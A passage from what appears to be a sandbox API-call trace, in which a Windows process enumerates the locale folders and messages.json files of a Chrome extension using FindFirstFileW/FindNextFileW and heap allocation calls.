nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0277.355] GetProcessHeap () returned 0x550000 [0277.355] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.355] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e95b80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.356] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.356] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e95b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.356] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.356] GetProcessHeap () returned 0x550000 [0277.356] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.356] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hy", cAlternateFileName="")) returned 1 [0277.356] GetProcessHeap () returned 0x550000 [0277.356] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.368] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.368] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.368] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.368] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.368] GetProcessHeap () returned 0x550000 [0277.368] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.368] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0277.369] GetProcessHeap () returned 0x550000 [0277.369] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.369] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.369] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.369] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.369] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.369] GetProcessHeap () returned 0x550000 [0277.369] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.369] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is", cAlternateFileName="")) returned 1 [0277.369] GetProcessHeap () returned 0x550000 [0277.369] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.372] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.372] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.372] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.372] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.372] GetProcessHeap () returned 0x550000 [0277.372] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.372] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0277.372] GetProcessHeap () returned 0x550000 [0277.372] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.372] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.372] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.372] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.373] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.373] GetProcessHeap () returned 0x550000 [0277.373] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.373] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iw", cAlternateFileName="")) returned 1 [0277.373] GetProcessHeap () returned 0x550000 [0277.373] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.374] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebbce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ebbce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.374] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.375] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ebcc80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.375] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.375] GetProcessHeap () returned 0x550000 [0277.375] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.375] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0277.375] GetProcessHeap () returned 0x550000 [0277.375] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.375] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.375] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.375] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.375] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.375] GetProcessHeap () returned 0x550000 [0277.375] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.375] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ka", cAlternateFileName="")) returned 1 [0277.375] GetProcessHeap () returned 0x550000 [0277.375] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.487] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.487] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x165, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.487] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x165, 